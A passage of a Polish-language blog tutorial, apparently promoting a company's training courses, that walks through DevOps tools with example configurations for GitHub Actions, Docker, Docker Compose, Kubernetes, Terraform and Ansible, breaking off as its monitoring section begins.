&lt;p&gt;GitHub Actions, GitLab CI, Jenkins&lt;/p&gt;

&lt;p&gt;🐳&lt;/p&gt;

&lt;p&gt;Konteneryzacja&lt;/p&gt;

&lt;p&gt;Docker, Podman, Buildah&lt;/p&gt;

&lt;p&gt;☸&lt;/p&gt;

&lt;p&gt;Orkiestracja&lt;/p&gt;

&lt;p&gt;Kubernetes, Helm&lt;/p&gt;

&lt;p&gt;🏗️&lt;/p&gt;

&lt;p&gt;Infrastruktura jako kod&lt;/p&gt;

&lt;p&gt;Terraform, OpenTofu, Pulumi&lt;/p&gt;

&lt;p&gt;📋&lt;/p&gt;

&lt;p&gt;Zarządzanie konfiguracją&lt;/p&gt;

&lt;p&gt;Ansible, Puppet, Chef&lt;/p&gt;

&lt;p&gt;📊&lt;/p&gt;

&lt;p&gt;Monitoring i logi&lt;/p&gt;

&lt;p&gt;Prometheus, Grafana, Loki, Zabbix&lt;/p&gt;

&lt;p&gt;🛡️&lt;/p&gt;

&lt;p&gt;Bezpieczeństwo&lt;/p&gt;

&lt;p&gt;Trivy, rejestry obrazów, skanery&lt;/p&gt;

&lt;p&gt;☁️&lt;/p&gt;

&lt;p&gt;Chmura i wirtualizacja&lt;/p&gt;

&lt;p&gt;AWS, Azure, GCP, Proxmox&lt;/p&gt;

&lt;p&gt;Mapa narzędzi DevOps według zadania. To nie jest lista „co trzeba umieć na pamięć", tylko podział pętli na etapy: każda kategoria odpowiada za inny fragment drogi od kodu do działającej usługi.&lt;/p&gt;
&lt;h3&gt;
  
  
  Git: kontrola wersji i źródło prawdy
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Do czego służy:&lt;/strong&gt; przechowuje historię każdej zmiany w kodzie i w konfiguracji, pozwala wielu osobom pracować równolegle na gałęziach i w każdej chwili cofnąć się do działającej wersji. W DevOps Git jest źródłem prawdy nie tylko dla aplikacji, ale i dla infrastruktury.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://git-scm.com/" rel="noopener noreferrer"&gt;Git&lt;/a&gt; to rozproszony system kontroli wersji, czyli narzędzie, które zapamiętuje kolejne stany projektu jako „commity" (zapisane migawki zmian). Cała reszta łańcucha DevOps zaczyna się właśnie tutaj: potok CI/CD uruchamia się po zapisaniu zmiany, a w podejściu GitOps to zawartość repozytorium decyduje o tym, co ma działać na produkcji. Poniżej realna historia małego repozytorium z gałęzią funkcji i połączeniem jej z główną linią rozwoju:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8ww14pilbjbbiva2qy69.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8ww14pilbjbbiva2qy69.png" alt="Terminal z git log --graph pokazujący historię commitów z gałęzią i połączeniem oraz git status" width="800" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Prawdziwa historia repozytorium w terminalu. Gałąź funkcji (feature/healthcheck) została połączona z główną linią (main) osobnym commitem scalającym. Na dole to samo repozytorium pokazuje polecenie git status: jeden zmodyfikowany plik czeka na zatwierdzenie.&lt;/p&gt;

&lt;p&gt;Zwróć uwagę, że w tej historii są nie tylko commity z kodem aplikacji, ale też z plikami Dockera, manifestami Kubernetes i konfiguracją potoku CI/CD. To typowe dla DevOps: infrastruktura mieszka w tym samym repozytorium co aplikacja i podlega tym samym regułom, czyli przeglądowi zmian, historii i możliwości cofnięcia. Nie ma już „konfiguracji, która żyje tylko w głowie administratora".&lt;/p&gt;
&lt;h3&gt;
  
  
  CI/CD: automatyczny potok build, test i wdrożenie
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Do czego służy:&lt;/strong&gt; odbiera każdą zmianę z repozytorium i automatycznie ją buduje, testuje i (jeśli wszystko przejdzie) wdraża. Zamiast ręcznego, stresującego wdrożenia raz na kwartał, dostajesz powtarzalny proces, który można uruchamiać wielokrotnie dziennie.&lt;/p&gt;

&lt;p&gt;CI/CD to skrót od &lt;strong&gt;ciągłej integracji&lt;/strong&gt; (ang. Continuous Integration, czyli częstego scalania zmian i automatycznego sprawdzania, czy nic się nie zepsuło) oraz &lt;strong&gt;ciągłego dostarczania&lt;/strong&gt; (ang. Continuous Delivery, czyli automatycznego przygotowania i wdrożenia gotowej wersji). Najpopularniejsze narzędzia to &lt;a href="https://docs.github.com/actions" rel="noopener noreferrer"&gt;GitHub Actions&lt;/a&gt;, GitLab CI oraz &lt;a href="https://www.jenkins.io/" rel="noopener noreferrer"&gt;Jenkins&lt;/a&gt;. Potok opisuje się jako plik w repozytorium. Oto minimalny, ale realny przepływ w GitHub Actions, który po każdej zmianie na gałęzi &lt;code&gt;main&lt;/code&gt; buduje obraz i go wdraża:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;name: build-and-deploy
on:
  push:
    branches: [main]
jobs:
  ship:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Testy
        run: pytest -q
      - name: Zbuduj i wypchnij obraz
        run: |
          docker build -t registry.example.com/sklep-api:${{ github.sha }} .
          docker push registry.example.com/sklep-api:${{ github.sha }}
      - name: Wdróż na klaster
        run: kubectl set image deploy/sklep-api sklep-api=registry.example.com/sklep-api:${{ github.sha }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ten plik to nie teoria. Wypchnęliśmy go do prawdziwego repozytorium, a GitHub Actions wykonał cały potok od początku do końca, bez naszej ingerencji:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frdueus99d4vcgfbyjas4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frdueus99d4vcgfbyjas4.png" alt="GitHub Actions - przebieg potoku CI/CD z zielonymi krokami: testy, budowanie obrazu i wdrożenie" width="800" height="633"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Realny przebieg potoku w GitHub Actions (nasze repozytorium demonstracyjne). Każdy krok, od testów po wdrożenie, zakończył się powodzeniem. Ostatni krok, „Wdroz obraz na srodowisko", to automatyczne wdrożenie zbudowanego obrazu do rejestru.&lt;/p&gt;

&lt;p&gt;A tak wygląda log samego kroku wdrożenia z tego przebiegu. To już nie zapowiedź, tylko realny zapis publikacji gotowego obrazu:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa7elij072si955roe207.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa7elij072si955roe207.png" alt="Log kroku wdrożenia w GitHub Actions - publikacja obrazu do rejestru, kolejne warstwy Pushed" width="800" height="353"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Log kroku wdrożenia z tego samego przebiegu GitHub Actions. Widać publikację kolejnych warstw obrazu do rejestru (Pushed) i końcowe potwierdzenie: wdrożenie zakończone sukcesem.&lt;/p&gt;

&lt;p&gt;Chcesz zbudować własny potok CI/CD od commita po wdrożenie? &lt;a href="https://jsystems.pl/szkolenia-devops-sysops;github_actions.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post453&amp;amp;utm_content=link_github_actions" rel="noopener noreferrer"&gt;Szkolenie GitHub Actions&lt;/a&gt; ma terminy gwarantowane.&lt;/p&gt;

&lt;p&gt;Tam, gdzie potok jest bardziej rozbudowany albo firma woli własny serwer, króluje Jenkins. Poniżej realny widok tak zwanego stage view, czyli podziału jednego uruchomienia potoku na etapy z czasami wykonania. To dokładnie ten obraz, na który patrzy inżynier, gdy chce sprawdzić, na którym kroku potok się zatrzymał:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmby3s9k6c49emgj4ldwi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmby3s9k6c49emgj4ldwi.png" alt="Jenkins stage view - kolejne etapy potoku CI/CD z czasami wykonania" width="800" height="543"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Jenkins, widok etapów potoku (stage view). Każda kolumna to jeden krok potoku (pobranie kodu, budowanie, testy, publikacja obrazu, wdrożenie), a kolor i czas pokazują, czy krok się powiódł i jak długo trwał.&lt;/p&gt;

&lt;p&gt;Gdy któryś krok zawiedzie, przechodzi się do konsoli danego uruchomienia i czyta logi. To pierwszy odruch przy diagnozie nieudanego wdrożenia:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyyscydqz1qf10o4dp8pr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyyscydqz1qf10o4dp8pr.png" alt="Konsola Jenkinsa z logami uruchomienia potoku" width="800" height="649"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Konsola pojedynczego uruchomienia w Jenkinsie. To surowe logi kolejnych poleceń potoku, od których zaczyna się każda diagnoza, gdy build lub wdrożenie się nie powiedzie.&lt;/p&gt;

&lt;p&gt;Wolisz Jenkinsa na własnym serwerze? &lt;a href="https://jsystems.pl/szkolenia-devops-sysops;jenkins_ci.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post453&amp;amp;utm_content=link_jenkins" rel="noopener noreferrer"&gt;Szkolenie CI/CD w Jenkins&lt;/a&gt; ma terminy gwarantowane.&lt;/p&gt;

&lt;h3&gt;
  
  
  Docker: konteneryzacja, czyli koniec z „u mnie działa"
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Do czego służy:&lt;/strong&gt; pakuje aplikację razem ze wszystkimi zależnościami w jeden przenośny obraz (ang. image), który zachowuje się identycznie na laptopie programisty, w potoku CI i na produkcji. To rozwiązuje klasyczny problem „u mnie działa, a na serwerze nie".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.docker.com/" rel="noopener noreferrer"&gt;Docker&lt;/a&gt; to najpopularniejsze narzędzie do konteneryzacji, czyli uruchamiania aplikacji w izolowanych, lekkich „pudełkach" zwanych kontenerami. Kontener różni się od maszyny wirtualnej tym, że nie nosi ze sobą całego systemu operacyjnego, tylko współdzieli jądro z hostem, dlatego startuje w ułamku sekundy. Aplikację opisuje się plikiem &lt;code&gt;Dockerfile&lt;/code&gt;. Kluczowa dobra praktyka to budowanie wielostopniowe (ang. multi-stage build): w jednym etapie kompilujemy program z pełnym zestawem narzędzi, a do finalnego obrazu kopiujemy tylko gotowy plik wykonywalny.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Etap budowania: pełne środowisko Go
FROM golang:1.23-alpine AS build
WORKDIR /src
COPY . .
RUN CGO_ENABLED=0 go build -ldflags="-s -w" -o /app .

# Etap finalny: pusty obraz tylko z binarką
FROM scratch
COPY --from=build /app /app
EXPOSE 8080
ENTRYPOINT ["/app"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Efekt jest wymierny. Zbudowaliśmy ten sam program na dwa sposoby: naiwnie (cały obraz z narzędziami Go zostaje w środku) oraz wielostopniowo (do finalnego obrazu trafia sama binarka). Oto realne rozmiary z naszego terminala:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2s6njye7wqp1nqof1k5m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2s6njye7wqp1nqof1k5m.png" alt="Terminal: docker images pokazujący obraz naiwny 472 MB i wielostopniowy 7,3 MB oraz warstwy docker history" width="800" height="332"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ten sam program zbudowany na dwa sposoby. Obraz naiwny (naive) waży 472 MB, bo zabiera ze sobą całe środowisko Go. Obraz wielostopniowy (multi) to zaledwie 7,3 MB, a docker history potwierdza dlaczego: w praktyce składa się z jednej warstwy, samej binarki o rozmiarze 5,08 MB.&lt;/p&gt;

&lt;p&gt;Z 472 MB robi się 7,3 MB, czyli obraz kilkadziesiąt razy mniejszy. Mniejszy obraz to szybszy transfer, szybszy start i mniejsza powierzchnia ataku (o bezpieczeństwie za chwilę). Docker służy też do składania kilku usług w jedną całość poleceniem &lt;code&gt;docker compose&lt;/code&gt;. Cały zestaw (serwer WWW, baza i pamięć podręczna) opisuje jeden plik &lt;code&gt;compose.yaml&lt;/code&gt;, w którym deklarujemy też kontrolę kondycji usług (ang. healthcheck) i zależności między nimi:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;services:
  web:
    image: nginx:alpine
    ports: ["8080:80"]
    depends_on:
      redis:
        condition: service_healthy    # startuj web dopiero, gdy redis jest zdrowy
  redis:
    image: redis:7-alpine
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 5s
      retries: 5
  db:
    image: postgres:16-alpine
    environment:
      POSTGRES_PASSWORD: sekret
    volumes:
      - dbdata:/var/lib/postgresql/data
volumes:
  dbdata:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Po uruchomieniu poleceniem &lt;code&gt;docker compose up -d&lt;/code&gt; Docker startuje wszystkie usługi we właściwej kolejności i pilnuje ich stanu:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff5ohz8t9tnvlzirvwaav.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff5ohz8t9tnvlzirvwaav.png" alt="Terminal: docker compose up i docker compose ps pokazujące start usług z kontrolą kondycji" width="800" height="353"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;docker compose uruchamia kilka usług naraz i pilnuje kolejności. Serwer WWW (web) wystartował dopiero po tym, jak pamięć podręczna (redis) zgłosiła stan Healthy. Wcześniej taką zależność trzeba było obsługiwać ręcznie.&lt;/p&gt;

&lt;p&gt;Widać tu istotny szczegół: serwer WWW wystartował dopiero po tym, jak pamięć podręczna (redis) zgłosiła stan Healthy. To automatyzacja zależności między usługami, którą wcześniej trzeba było robić ręcznie. Jeśli interesuje Cię konteneryzacja konkretnej aplikacji krok po kroku, pokazaliśmy to na przykładzie &lt;a href="https://jsystems.pl/blog/show_post/Osadzanie_aplikacji_Flask_na_Dockerze/" rel="noopener noreferrer"&gt;osadzania aplikacji Flask na Dockerze&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Konteneryzację najłatwiej opanować, budując realne obrazy pod okiem praktyka. &lt;a href="https://jsystems.pl/szkolenia-docker-kubernetes;docker_i_kubernetes_od_zera.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post453&amp;amp;utm_content=link_docker" rel="noopener noreferrer"&gt;Szkolenie Docker i Kubernetes: od zera do bohatera&lt;/a&gt; ma terminy gwarantowane.&lt;/p&gt;

&lt;h3&gt;
  
  
  Kubernetes i Helm: orkiestracja kontenerów
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Do czego służy:&lt;/strong&gt; zarządza setkami kontenerów na wielu serwerach. Utrzymuje zadaną liczbę kopii aplikacji, sam restartuje te, które padły, rozkłada ruch i pozwala aktualizować wersję bez przerwy w działaniu. To „system operacyjny" nowoczesnej produkcji.&lt;/p&gt;

&lt;p&gt;Gdy kontenerów jest kilka, wystarczy Docker. Gdy są ich setki na wielu maszynach, potrzebny jest dyrygent. Tym dyrygentem jest &lt;a href="https://kubernetes.io/" rel="noopener noreferrer"&gt;Kubernetes&lt;/a&gt; (często skracany do „K8s"), czyli system do orkiestracji kontenerów. W Kubernetesie nie mówisz „uruchom ten kontener", tylko opisujesz stan docelowy („chcę trzy działające kopie aplikacji"), a klaster sam do niego dąży i sam go pilnuje. Różnice między samym Dockerem a Kubernetesem rozłożyliśmy na części w osobnym tekście o tym, &lt;a href="https://jsystems.pl/blog/show_post/kubernetes-vs-docker-roznice/" rel="noopener noreferrer"&gt;czym różni się Kubernetes od Dockera&lt;/a&gt;. Stan docelowy opisuje się deklaratywnie w pliku YAML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: sklep-api
spec:
  replicas: 3                 # utrzymuj 3 kopie aplikacji
  selector:
    matchLabels: { app: sklep-api }
  template:
    metadata: { labels: { app: sklep-api } }
    spec:
      containers:
        - name: sklep-api
          image: registry.example.com/sklep-api:1.4.2
          resources:
            requests: { cpu: "100m", memory: "128Mi" }
            limits:   { cpu: "500m", memory: "256Mi" }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Poniżej prawdziwa sesja na działającym klastrze. Do przykładów użyliśmy k3s, czyli lekkiej, w pełni zgodnej dystrybucji Kubernetesa (to nadal Kubernetes, tyle że w wersji idealnej do nauki na laptopie, co widać w kolumnie VERSION jako &lt;code&gt;v1.34.1+k3s1&lt;/code&gt;). Uruchamiamy aplikację w trzech kopiach, klaster sam doprowadza ją do stanu gotowości, a na końcu skalujemy do pięciu kopii jednym poleceniem:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Foytt5jj1wpbkp6hf62hh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Foytt5jj1wpbkp6hf62hh.png" alt="Terminal: kubectl get nodes, create deployment, rollout status, get pods i scale na żywym klastrze" width="800" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Prawdziwa sesja na działającym klastrze Kubernetes (jeden lokalny węzeł, lekka dystrybucja k3s). Uruchamiamy aplikację w trzech kopiach, klaster sam doprowadza wdrożenie do gotowości (rollout status), a jedno polecenie kubectl scale zmienia liczbę kopii z trzech na pięć.&lt;/p&gt;

&lt;p&gt;To jest właśnie „samonaprawa" i skalowanie w praktyce: gdyby któraś kopia padła, Kubernetes od razu uruchomiłby nową, żeby utrzymać zadaną liczbę. Konfiguracje dla całych aplikacji pakuje się dodatkowo w &lt;strong&gt;Helm&lt;/strong&gt;, czyli menedżer pakietów dla Kubernetesa. Zamiast trzymać dziesiątki plików YAML, instalujesz aplikację jak paczkę: &lt;code&gt;helm install sklep-api ./chart&lt;/code&gt;, a aktualizujesz przez &lt;code&gt;helm upgrade&lt;/code&gt;. Helm pozwala też jednym poleceniem cofnąć się do poprzedniej wersji, gdy coś pójdzie nie tak.&lt;/p&gt;

&lt;p&gt;Chcesz swobodnie zarządzać Kubernetesem na realnym klastrze? &lt;a href="https://jsystems.pl/szkolenia-docker-kubernetes;kubernetes_orkiestracja_kontenerow_szkolenie_kompleksowe.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post453&amp;amp;utm_content=link_kubernetes" rel="noopener noreferrer"&gt;Szkolenie Kubernetes: orkiestracja kontenerów&lt;/a&gt; ma terminy gwarantowane.&lt;/p&gt;

&lt;h3&gt;
  
  
  Terraform: infrastruktura jako kod
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Do czego służy:&lt;/strong&gt; tworzy i zmienia infrastrukturę (serwery, sieci, bazy, klastry) na podstawie plików tekstowych, zamiast klikania w panelu chmury. Dzięki temu infrastruktura jest powtarzalna, wersjonowana w Git i można ją recenzować jak każdy inny kod.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://developer.hashicorp.com/terraform" rel="noopener noreferrer"&gt;Terraform&lt;/a&gt; to najpopularniejsze narzędzie do podejścia zwanego infrastrukturą jako kod (ang. Infrastructure as Code). Opisujesz w plikach, co ma istnieć, a Terraform sam wylicza, co dodać, zmienić lub usunąć, żeby rzeczywistość zgadzała się z opisem. Opis jest krótki i czytelny. Poniższy fragment mówi po prostu: „ma istnieć kontener z serwerem nginx dostępny na porcie 8095":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;resource "docker_container" "web" {
  name  = "tf-web"
  image = docker_image.nginx.image_id
  ports {
    internal = 80
    external = 8095
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Najważniejsze jest to, że Terraform najpierw pokazuje plan, a dopiero po akceptacji go wykonuje. Nigdy nie zmienia niczego bez uprzedzenia. Oto prawdziwe uruchomienie na naszym środowisku, gdzie Terraform tworzy obraz i kontener:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7sumq5tirahw9xbrv3mg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7sumq5tirahw9xbrv3mg.png" alt="Terminal: terraform plan, apply i state list tworzące obraz oraz kontener" width="800" height="375"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Terraform w działaniu. Najpierw plan („Plan: 2 to add"), po którym dokładnie wiesz, co się wydarzy, a dopiero potem apply, który tworzy zasoby („Apply complete! Resources: 2 added"). Na końcu state list pokazuje, czym Terraform teraz zarządza.&lt;/p&gt;

&lt;p&gt;Zdanie Plan: 2 to add, 0 to change, 0 to destroy to serce Terraform. Zanim cokolwiek się wydarzy, widzisz dokładnie, co narzędzie zamierza zrobić. Uruchomione ponownie na niezmienionym opisie, Terraform nie zrobi nic (bo rzeczywistość już się zgadza). Ta właściwość, zwana idempotencją, oznacza, że to samo polecenie wykonane wielokrotnie daje ten sam stan końcowy.&lt;/p&gt;

&lt;p&gt;Infrastrukturę jako kod najszybciej przyswoisz w praktyce, na własnym stanie i planach. &lt;a href="https://jsystems.pl/szkolenia-devops-sysops;terraform_i_infrastruktura_jako_kod_szkolenie_kompleksowe.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post453&amp;amp;utm_content=link_terraform" rel="noopener noreferrer"&gt;Szkolenie Terraform i infrastruktura jako kod&lt;/a&gt; ma terminy gwarantowane.&lt;/p&gt;

&lt;h3&gt;
  
  
  Ansible: zarządzanie konfiguracją serwerów
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Do czego służy:&lt;/strong&gt; konfiguruje serwery i instaluje na nich oprogramowanie według opisu w prostym pliku, na wielu maszynach naraz i zawsze do tego samego stanu. Terraform tworzy serwer, a Ansible sprawia, że jest poprawnie skonfigurowany.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.ansible.com/" rel="noopener noreferrer"&gt;Ansible&lt;/a&gt; uzupełnia Terraform. Gdzie Terraform odpowiada za powołanie infrastruktury, tam Ansible dba o to, co jest na serwerach: instaluje pakiety, kopiuje konfiguracje, zakłada użytkowników, uruchamia usługi. Opis zadań, zwany „playbookiem", jest czytelny nawet dla osoby, która nie zna narzędzia: to lista kroków z jasnymi nazwami. Poniżej fragment playbooka konfigurującego serwer aplikacji:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- name: Konfiguracja serwera aplikacji Sklep API
  hosts: web
  become: true
  tasks:
    - name: Zapewnij katalog konfiguracji
      ansible.builtin.file:
        path: /etc/sklep
        state: directory

    - name: Utworz systemowego uzytkownika aplikacji
      ansible.builtin.user:
        name: sklep
        system: true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Playbook uruchamia się jednym poleceniem, a Ansible na końcu pokazuje raport (ang. PLAY RECAP) z liczbą zadań wykonanych i zmienionych. Oto prawdziwy wynik uruchomienia naszego playbooka:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzk2tyck2090fyunawlo6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzk2tyck2090fyunawlo6.png" alt="Terminal: ansible-playbook z zadaniami changed i podsumowaniem PLAY RECAP ok=5 changed=3" width="799" height="310"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Prawdziwe uruchomienie playbooka. Każde zadanie ma jasny status (tutaj changed, czyli Ansible coś zmienił), a końcowy raport PLAY RECAP podsumowuje: pięć zadań wykonanych, trzy wprowadziły zmiany, zero błędów.&lt;/p&gt;

&lt;p&gt;Podobnie jak Terraform, Ansible jest idempotentny. Uruchomiony ponownie na już skonfigurowanym serwerze pokaże &lt;code&gt;changed=0&lt;/code&gt;, bo nie będzie miał nic do zmiany. To dlatego DevOps tak ceni te narzędzia: opisujesz stan docelowy raz, a potem możesz go egzekwować w kółko, na jednym serwerze albo na tysiącu, zawsze z tym samym skutkiem.&lt;/p&gt;

&lt;p&gt;Automatyzację konfiguracji serwerów warto przećwiczyć na realnych maszynach. &lt;a href="https://jsystems.pl/szkolenia-devops-sysops;devops_ansible_full.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post453&amp;amp;utm_content=link_ansible" rel="noopener noreferrer"&gt;Szkolenie Automatyzacja zadań z Ansible&lt;/a&gt; ma terminy gwarantowane.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prometheus, Grafana i Loki: monitoring i obserwowalność
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Do czego służy:&lt;/strong&gt; pokazuje, co dzieje się z systemem w czasie rzeczywistym. Prometheus zbiera metryki (liczby, na przykład zużycie procesora), &lt;a href="https://jsystems.pl/blog/show_post/co_to_jest_grafana_przewodnik_dla_poczatkujacych/" rel="noopener noreferrer"&gt;Grafana&lt;/a&gt; rysuje z nich pulpity, Loki centralizuje logi, a reguły alertów budzą inżyniera, zanim zauważy to klient.&lt;/p&gt;

&lt;p&gt;Nie da się utrzymywać systemu, którego się nie widzi. Ta warstwa nazywa się obserwowalnością (ang. observability), czyli zdolnością odpowiedzenia na pytanie „dlaczego to się dzieje" na podstawie danych, które system o sobie udostępnia. &lt;a href="https://prometheus.io/" rel="noopener noreferrer"&gt;Prometheus&lt;/a&gt; to baza czasowa, która co kilkanaście sekund odpytuje aplikacje i serwery o ich metryki. Najpierw sprawdza się, czy w ogóle ma z czego zbierać dane, na liście celów (ang. targets):&lt;/p&gt;

